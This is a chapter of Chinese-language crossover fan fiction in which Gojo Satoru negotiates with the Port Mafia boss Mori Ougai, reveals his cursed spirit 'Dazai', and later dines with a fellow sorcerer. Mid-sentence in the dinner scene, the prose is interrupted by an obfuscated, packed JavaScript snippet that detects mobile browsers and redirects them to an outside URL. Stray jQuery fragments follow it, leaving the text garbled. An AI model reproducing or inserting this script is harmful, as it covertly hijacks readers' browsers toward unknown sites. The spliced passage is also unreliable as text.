16
几座拔地而起的大厦屹立在横滨地平线上,地基之下是深不见底的罪恶,整个港口黑手.党都是踏着暴与血成立的,统一着这座临海都市所有的黑色。
这里的一切都是那么熟悉。
大厅装潢,走向电梯的路线,路过组织成员探究的视线,还有自己行在前面语气腔调都不曾变化,戴着礼帽肩披西服的橘发青年。
“带你去见首领,跟好我别迷路了,还有,谈话的时候我就在旁边,不要有什么谈判不成就动手的心思。”
中原中也淡声警告着,他注意到对方似乎对这里非常熟悉,步伐完全没有首次到一个陌生地方的谨慎和打量。
“另外之前抓到的那个男人叫佐藤康介,骨头硬得很,在拷问室待到现在都没松口。”
五条悟毫不意外的“哦”了一声。
平淡的反应让橘发青年心情更加郁闷了一点。亦敌亦友的人似乎在暗地里清楚己方底细,这种感觉相当糟糕,他们组织保密工作像是保洁来干的。
两人一路畅通直达顶层,门前守着的持枪守卫目不斜视打开沉重的防爆门。
室内的景色没有外面走廊那么暗沉,水晶吊灯在头顶亮着,左侧占满整个墙壁的液晶屏幕亮着,温暖的夕阳和绵软的云显得岁月静好。
“首领,”中原中也低头,声音不大不小。
五条悟站在青年身后立定,目光平静投向里面戴着猩红的中年男人。
对方坐在黑色皮革的沙发上,正在给身旁穿着红裙一头金发的女孩扎头发,面容精致可爱的女孩撇着嘴,纤细的小腿在空中晃晃悠悠,不耐烦道。
“森太郎,好慢啊。”
沙发另侧还有位身着和服,面容艳美气质冷冽的红发女性,正姿态优雅的品茶。
橘发青年走到男人身后站定,低声说了几句,森鸥外停下手中梳理动作,面带微笑看向已经坐在空出来,面前茶几还摆着杯清茶的白发孩童身上。
“这位就是打算和我们合作的五条悟先生吧,相当年轻呢。”
五条悟挑了一个相对舒服些的姿势,手肘撑在沙发扶手,闻言隔着墨镜抬眼看过来。
“首领先生应该不会用外貌来衡量一个人吧。”
“这是自然。”
烦不胜烦的爱丽丝从森鸥外手里抢回自己头发,黑色小皮鞋在柔软地毯上踩出沉闷响声,女孩看了一眼五条悟,海藻质感的金发在空中划出晃眼的光泽。
看着女孩气冲冲跑出办公室,沙发上的男人发出一声沮丧的叹息,随后又很快调整好状态,嘴角含着弧度面向白发孩童。
一场并不算顺畅的谈判,半小时后的五条悟垂下眼帘,纤长雪白的睫毛遮掩住一点眼里情绪。
试探,揣度,张弛有度的威压。时隔几个月他再次感受到和旧时保守派那群烂橘子相似的乏闷。
并不是说森鸥外和那群老东西有什么相同,他们完全不同,组织首领属于上位者的精明手腕并不会让人感到被一味胁迫,优秀的涵养使然,也不会大吵大闹危害自己耳朵。
男人说话间总有捉摸不透的笑意,偶尔间让五条悟回想起过去,在清冷灯光下某张面色苍白,绑着绷带的年轻脸庞。
他从沙发上站起身,放下一口未碰的茶水,瓷杯同茶几碰撞发出清脆响动。
“就这样吧,我来帮忙追回货物,反正你们也要调查窥视手里东西背后的人,我要知道所有进展和结果,”他缓缓呼出一口气。
“如果需要场外援助,我也会尽量帮忙的。”
说完在原地静立,似乎是等待对方回答。
办公室内一时寂默,气质冷艳的红发女人冷淡瞥过打量目光,站在沙发后的橘发青年微皱起眉。只有森鸥外和白发孩童面色如常,没有被滞涩的氛围所影响。
控制着黑手.党这整个庞然大物的掌舵人永远喜怒不形于色,男人像是审视又只像是在微笑的视线环视一圈五条悟,片刻后食指轻敲膝头。
“当然可以。”
五条悟点点头不想再多言,转身向外走去,靠近装潢像扇做工精奢的普通朱门。
宽敞走廊整齐站着两排黑色西服面戴墨镜,体形挺拔的男性,全部都统一配置着枪械武器。随着防爆门打开,所有人的手都托握在乌黑护木。
森鸥外半侧头去看液晶屏,有白云飘过,暮色渐渐在地平线尽头升起。
“不过你既然要合作,基于信任,我想应该不会见意透露一些关于自己的信息。”
白发孩童背对着他,身体纹丝未动。
房间内华贵水晶吊灯忽明忽暗闪烁起来,伴随着各种枪械上膛动静,一丝一缕的黑雾沿着墙壁蜿蜒绵亘。
黏稠深沉,漆黑诡幻的身影不徐不疾的凝聚在五条悟身边。雾气扭动后形成黑衣青年,他微微低侧头看过来,一只毫无生气的鸢色眼瞳倒映出古典奢华的首领办公室,以及沙发区域的三人。
中原中也眉心越发紧拧,钴蓝色的眸子来回扫视两边,终于意识到自己心里一直以来的那股怪异感在何处。
「太宰治」身上漆黑风衣跟挂在身前的猩红色围巾,这装扮太过眼熟,另一个差不多同样打扮的男人就坐在沙发上,正一脸若有所思看着对方。
咒怨灵翻涌的诅咒影响着空间内所有亮度,吊灯断断续续在地板扯出大片惨淡光泽,五条悟向前一步,抬眸顾视周围一片对准自己的黑压压枪口。
“我劝你们收了求知欲和好奇心,这是找死,”他语气略微发寒,声音压得很轻,回旋在气氛剑拔弩张的寂静房间内。
“治君他从不允许别人试探自己。”
——
上川崎芸的车停在Mafia大厦地下车库里,等纯黑色越野行驶出来,绚丽灿烂的夕阳已经笼罩整座港口都市,点点繁星闪耀在深蓝色天际边。
治安还算完好的横滨晚高峰街面上车流不小,花花绿绿的灯光模糊夜幕里,汽笛声此起彼伏不断,道路堵得水泄不通。
等终于把车开到预定的餐厅,沉默一路上川崎芸才开口,将心情欠佳的孩童从思绪里唤回。
“走吧,先吃饭。”
高级餐厅装潢奢靡,前台听到提前预约过领着两人往高楼层的包厢去,全景电梯上升玻璃清透,映出这座日本海上金港夜色里灯火辉煌的全部面貌。
等服务员上齐菜品,摆盘精致的料理搁置圆形桌面,有相当部分是甜口的食品,包厢暖色氛围灯照落两人一猫身上,五条悟手边还多着一小蛊热气腾腾的炖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318894|199015||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
汤。
他拿银匙拨动一下汤面,想起什么眨了眨眼,抬头问上川崎芸。
“山本岩松的女儿有说什么吗?”
男人闻言一愣,随即摇头:“没有,那孩子应该是受了惊吓,意识混乱一直在发烧,护士说她很抗拒生人靠近,我就没过去。”
“看来晚点还得去一趟山本岩松家里了,”墨镜氤氲着水雾,五条悟摘下放在一边,苍蓝色眼眸里缀着层暖色。
“那家伙都怕死成这样了,嘴里说的话还在真假参半。”
黑发咒术师眉毛一横:“他还有事瞒着?”
白发孩童在离自己近点的盘子挑捡了筷子三文鱼,瞥了他一眼。
“他们那群人签的合同都有束缚,能说口的就不算机密,崎芸回头再把人给掐一顿也问不出来什么哦。”
话里意思很明显,别再像今天这样差点送人去黄泉比良坂,上川崎芸身子往后放松一点,坐姿端正老老实实往嘴里塞盘子里的食物。
嚼了没两口,他目光又往坐孩童身边座位的黑猫身上看。
餐厅的木质餐桌椅扶手是半弧形,抹了木蜡油,五条悟大概是觉得猫爪子踩不住,干脆手靠着让「太宰治」两只前脚撑在自己小臂上,空出来的另外一只手捏着后厨处理好的蟹腿喂。
黑猫那颗毛绒绒的脑袋小幅度晃动,几乎要贴在孩童下颌到锁骨那片地方,咬两口蟹肉后还抬头用耳朵蹭几下对方肩膀。
上川崎芸:……
黑发咒术师放下餐具,起身跨步过去揪住黑猫后脖颈,对着一脸疑惑的五条悟绽放出个阳光灿烂的笑容。
“我看你忙碌一下午,喂猫这种小事我来就行,”他边说还拎着掂量一下。
“哎呦我看这位…呃体型不小,也不能喂得太多,哪怕是咒灵也要控制饮食,长成卡车多不好看,你说是吧绷带咒灵君?”
提在手上实际重量跟捆绷带差不多重的「太宰治」:……
黑猫反手一爪拍开捏在后颈的手,旋身轻盈跳落地板,明明只是猫科动物的形态,那张小脸上五条悟硬是能看出几分嫌恶表情。
咒怨灵尾巴一甩,化作黑雾涌回孩童手腕的圆镯中。
“治君?”五条悟摸了摸镯子,轻叹口气,“他才不重呢,你说你没事惹他干嘛,被报复了我可不管。”
上川崎芸摆摆手不以为然。
绝大部分有灵魂的咒怨灵很难让自己的理智占据主体,生者执念,死者的妄语,所有负面情绪和诅咒对象过于磅礴的咒力,都会是影响诅咒神智的因素。
「太宰治」比那些要更特殊,虽然上川崎芸不知道咒怨灵的具体术式和领域,但见面的第一眼就他能确定,对方身上现存的意识更像是过往都被封印着,行动驱使本能占多数。
明明气息已经达到特级过咒灵的程度,但术式发动却必须要当场摄取一部分五条悟的咒力,甚至似乎在某种层面影响到对方的咒力形态,让他们不会在战斗现场留下任何咒力残秽。
他忍不住暗戳戳看了几眼那只镯子,不透光的圆环形状,无法看出具体材质,周身没有任何的接口,这会正安静乖顺贴着主人冷白色的手腕。
叫什么不好偏偏起个一生之环的肉麻名字,听起来就俗气的。